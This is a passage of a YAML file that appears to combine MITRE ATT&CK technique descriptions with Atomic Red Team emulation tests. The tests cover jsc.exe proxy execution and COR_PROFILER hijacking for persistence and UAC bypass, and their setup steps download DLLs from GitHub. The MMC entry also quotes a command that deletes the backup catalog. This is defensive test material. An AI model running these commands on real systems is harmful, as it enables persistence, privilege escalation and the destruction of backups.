      - source_name: Bypassing CloudTrail in AWS Service Catalog
        description: Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS
          Service Catalog, and Other Logging Research. Retrieved September 18, 2023.
        url: https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/
      - source_name: GhostToken GCP flaw
        description: Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers
          backdoor Google accounts. Retrieved September 18, 2023.
        url: https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1127:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Casey Smith
      - Matthew Demaske, Adaptforward
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b
      created: '2017-05-31T21:31:39.262Z'
      x_mitre_version: '1.2'
      external_references:
      - source_name: mitre-attack
        external_id: T1127
        url: https://attack.mitre.org/techniques/T1127
      - source_name: Exploit Monday WinDbg
        url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
        description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting
          by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.
      - source_name: LOLBAS Tracker
        url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
        description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.
      - source_name: engima0x3 RCSI Bypass
        url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
        description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting
          By Using rcsi.exe. Retrieved May 26, 2017.
      - source_name: engima0x3 DNX Bypass
        url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
        description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting
          By Using dnx.exe. Retrieved May 25, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: 'Adversaries may take advantage of trusted developer utilities
        to proxy execution of malicious payloads. There are many utilities used for
        software development related tasks that can be used to execute code in various
        forms to assist in development, debugging, and reverse engineering.(Citation:
        engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday
        WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with
        legitimate certificates that allow them to execute on a system and proxy execution
        of malicious code through a trusted process that effectively bypasses application
        control solutions.'
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Trusted Developer Utilities Proxy Execution
      x_mitre_detection: |-
        Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.

        Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.
      kill_chain_phases:
      - phase_name: defense-evasion
        kill_chain_name: mitre-attack
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application Control
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1127
    atomic_tests:
    - name: Lolbin Jsc.exe compile javascript to exe
      auto_generated_guid: 1ec1c269-d6bd-49e7-b71b-a461f7fa7bc8
      description: |
        Use jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.
        https://lolbas-project.github.io/lolbas/Binaries/Jsc/
        https://www.phpied.com/make-your-javascript-a-windows-exe/
      supported_platforms:
      - windows
      input_arguments:
        filename:
          description: Location of the project file
          type: path
          default: PathToAtomicsFolder\T1127\src\hello.js
        jscpath:
          description: Default location of jsc.exe
          type: path
          default: C:\Windows\Microsoft.NET\Framework\v4.0.30319
        jscname:
          description: Default name of jsc
          type: path
          default: jsc.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'JavaScript code file must exist on disk at specified location
          (#{filename})

          '
        prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/hello.js" -OutFile "#{filename}"
      executor:
        command: |
          copy "#{filename}" %TEMP%\hello.js
          #{jscpath}\#{jscname} %TEMP%\hello.js
        cleanup_command: |
          del %TEMP%\hello.js
          del %TEMP%\hello.exe
        name: command_prompt
    - name: Lolbin Jsc.exe compile javascript to dll
      auto_generated_guid: 3fc9fea2-871d-414d-8ef6-02e85e322b80
      description: |
        Use jsc.exe to compile javascript code stored in Library.js and output Library.dll.
        https://lolbas-project.github.io/lolbas/Binaries/Jsc/
        https://www.phpied.com/make-your-javascript-a-windows-exe/
      supported_platforms:
      - windows
      input_arguments:
        filename:
          description: Location of the project file
          type: path
          default: PathToAtomicsFolder\T1127\src\LibHello.js
        jscpath:
          description: Default location of jsc.exe
          type: path
          default: C:\Windows\Microsoft.NET\Framework\v4.0.30319
        jscname:
          description: Default name of jsc
          type: path
          default: jsc.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'JavaScript code file must exist on disk at specified location
          (#{filename})

          '
        prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/LibHello.js" -OutFile "#{filename}"
      executor:
        command: |
          copy "#{filename}" %TEMP%\LibHello.js
          #{jscpath}\#{jscname} /t:library %TEMP%\LibHello.js
        cleanup_command: |
          del %TEMP%\LibHello.js
          del %TEMP%\LibHello.dll
        name: command_prompt
  T1218.014:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Wes Hurd
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407
      created: '2021-09-28T01:36:41.638Z'
      x_mitre_version: '2.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1218.014
        url: https://attack.mitre.org/techniques/T1218/014
      - source_name: abusing_com_reg
        url: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
        description: 'bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE
          (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.'
      - source_name: mmc_vulns
        url: https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/
        description: Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management
          Console (MMC) Vulnerabilities. Retrieved September 24, 2021.
      - source_name: win_msc_files_overview
        url: https://www.ghacks.net/2017/06/10/windows-msc-files-overview/
        description: Brinkmann, M.. (2017, June 10). Windows .msc files overview.
          Retrieved September 20, 2021.
      - source_name: win_mmc
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc
        description: Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.
      - source_name: win_wbadmin_delete_catalog
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog
        description: Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved
          September 20, 2021.
      - source_name: win_clsid_key
        url: https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
        description: Microsoft. (2018, May 31). CLSID Key. Retrieved September 24,
          2021.
      - source_name: what_is_mmc
        url: https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console
        description: Microsoft. (2020, September 27). What is Microsoft Management
          Console?. Retrieved October 5, 2021.
      - source_name: phobos_virustotal
        url: https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection
        description: Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe.
          Retrieved September 20, 2021.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may abuse mmc.exe to proxy execution of malicious
        .msc files. Microsoft Management Console (MMC) is a binary that may be signed
        by Microsoft and is used in several ways in either its GUI or in a command
        prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create,
        open, and save custom consoles that contain administrative tools created by
        Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems
        locally or remotely. MMC can also be used to open Microsoft created .msc files
        to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example,
        <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved
        console msc file in author mode.(Citation: win_mmc) Another common example
        is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application
        window. \n\nAdversaries may use MMC commands to perform malicious tasks. For
        example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup
        catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490))
        without prompts to the user (Note: <code>wbadmin.msc</code> may only be present
        by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation:
        phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious
        .msc files. For example, adversaries may first create a malicious registry
        Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object
        Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation:
        win_clsid_key) Then, adversaries may create custom consoles with the “Link
        to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation:
        mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious
        CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation:
        abusing_com_reg)"
      modified: '2022-10-25T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: MMC
      x_mitre_detection: "Monitor processes and command-line parameters for suspicious
        or malicious use of MMC. Since MMC is a signed Windows binary, verify use
        of MMC is legitimate and not malicious. \n\nMonitor for creation and use of
        .msc files. MMC may legitimately be used to call Microsoft-created .msc files,
        such as <code>services.msc</code> or <code>eventvwr.msc</code>. Invoking non-Microsoft
        .msc files may be an indicator of malicious activity. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application control
      - Digital Certificate Validation
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1564.010:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1
      type: attack-pattern
      created: '2021-11-19T14:13:11.335Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1564.010
        url: https://attack.mitre.org/techniques/T1564/010
      - source_name: Microsoft PEB 2021
        url: https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
        description: Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved
          November 19, 2021.
      - source_name: Xpn Argue Like Cobalt 2019
        url: https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/
        description: Chester, A. (2019, January 28). How to Argue like Cobalt Strike.
          Retrieved November 19, 2021.
      - source_name: Cobalt Strike Arguments 2019
        url: https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/
        description: Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/.
          Retrieved November 19, 2021.
      - source_name: Nviso Spoof Command Line 2020
        url: https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/
        description: 'Daman, R. (2020, February 4). The return of the spoof part 2:
          Command line spoofing. Retrieved November 19, 2021.'
      - source_name: FireEye FiveHands April 2021
        url: https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html
        description: 'McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447
          SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved
          June 2, 2021.'
      - source_name: Mandiant Endpoint Evading 2019
        url: https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode
        description: 'Pena, E., Erikson, C. (2019, October 10). Staying Hidden on
          the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.'
      modified: '2022-05-11T14:00:00.188Z'
      name: Process Argument Spoofing
      description: |-
        Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)

        Adversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)

        Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)

        This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)

        Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1574.012:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jesse Brown, Red Canary
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
      type: attack-pattern
      created: '2020-06-24T22:30:55.843Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1574.012
        url: https://attack.mitre.org/techniques/T1574/012
      - source_name: Microsoft Profiling Mar 2017
        url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
          24, 2020.
      - source_name: Microsoft COR_PROFILER Feb 2013
        url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
          and Attach. Retrieved June 24, 2020.
      - source_name: RedCanary Mockingbird May 2020
        url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
          May 26, 2020.
      - source_name: Red Canary COR_PROFILER May 2020
        url: https://redcanary.com/blog/cor_profiler-for-persistence/
        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
          for persistence. Retrieved June 24, 2020.
      - source_name: Almond COR_PROFILER Apr 2019
        url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
          Retrieved June 24, 2020.
      - source_name: GitHub OmerYa Invisi-Shell
        url: https://github.com/OmerYa/Invisi-Shell
        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
          2020.
      - source_name: subTee .NET Profilers May 2017
        url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
          Profilers. Retrieved June 24, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Hijack Execution Flow: COR_PROFILER'
      description: |-
        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER,
        monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and
        COR_PROFILER_PATH that correspond to system and user environment variables
        that do not correlate to known developer tools. Extra scrutiny should be placed
        on suspicious modification of these Registry keys by command line tools like
        wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring
        for command-line arguments indicating a change to COR_PROFILER variables may
        aid in detection. For system, user, and process scope abuse of the COR_PROFILER,
        monitor for new suspicious unmanaged profiling DLLs loading into .NET processes
        shortly after the CLR causing abnormal process behavior.(Citation: Red Canary
        COR_PROFILER May 2020) Consider monitoring for DLL files that are associated
        with COR_PROFILER environment variables.'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1574.012
    atomic_tests:
    - name: User scope COR_PROFILER
      auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a
      description: |
        Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).
        The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.
        Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.
        If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,
        the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: string
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: '"#{file_name}" must be present

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan
          New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value "#{file_name}" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null
          Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
          START MMC.EXE EVENTVWR.MSC
        cleanup_command: "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\"
          -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment
          -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty
          -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore
          | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\"
          -Force -ErrorAction Ignore | Out-Null\n"
        name: powershell
    - name: System Scope COR_PROFILER
      auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310
      description: |
        Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
        The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
        level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
        still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: string
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: '"#{file_name}" must be present

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating system environment variables" -ForegroundColor Cyan
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null
        cleanup_command: |
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
    - name: Registry-free process scope COR_PROFILER
      auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817
      description: |
        Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unamanged profiler DLL
          type: path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: string
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: '"#{file_name}" must be present

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          $env:COR_ENABLE_PROFILING = 1
          $env:COR_PROFILER = '#{clsid_guid}'
          $env:COR_PROFILER_PATH = '"#{file_name}"'
          POWERSHELL -c 'Start-Sleep 1'
        cleanup_command: |
          $env:COR_ENABLE_PROFILING = 0
          $env:COR_PROFILER = ''
          $env:COR_PROFILER_PATH = ''
        name: powershell
privilege-escalation:
  T1055.011:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298
      type: attack-pattern
      created: '2020-01-14T17:18:32.126Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.011
        url: https://attack.mitre.org/techniques/T1055/011
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
        description: Microsoft. (n.d.). About Window Classes. Retrieved December 16,
          2017.
        source_name: Microsoft Window Classes
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
        description: Microsoft. (n.d.). GetWindowLong function. Retrieved December
          16, 2017.
        source_name: Microsoft GetWindowLong function
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
        description: Microsoft. (n.d.). SetWindowLong function. Retrieved December
          16, 2017.
        source_name: Microsoft SetWindowLong function
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
        description: MalwareTech. (2013, August 13). PowerLoader Injection – Something
          truly amazing. Retrieved December 16, 2017.
        source_name: MalwareTech Power Loader Aug 2013
      - url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
        description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based
          on Power Loader code. Retrieved December 16, 2017.
        source_name: WeLiveSecurity Gapz and Redyms Mar 2013
      - url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
        description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December
          16, 2017.
        source_name: Microsoft SendNotifyMessage function
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Process Injection: Extra Window Memory Injection'
      description: "Adversaries may inject malicious code into process via Extra Window
        Memory (EWM) in order to evade process-based defenses as well as possibly
        elevate privileges. EWM injection is a method of executing arbitrary code
        in the address space of a separate live process. \n\nBefore creating a window,
        graphical Windows-based processes must prescribe to or register a windows
        class, which stipulate appearance and behavior (via windows procedures, which
        are functions that handle input/output of data).(Citation: Microsoft Window
        Classes) Registration of new windows classes can include a request for up
        to 40 bytes of EWM to be appended to the allocated memory of each instance
        of that class. This EWM is intended to store data specific to that window
        and has specific application programming interface (API) functions to set
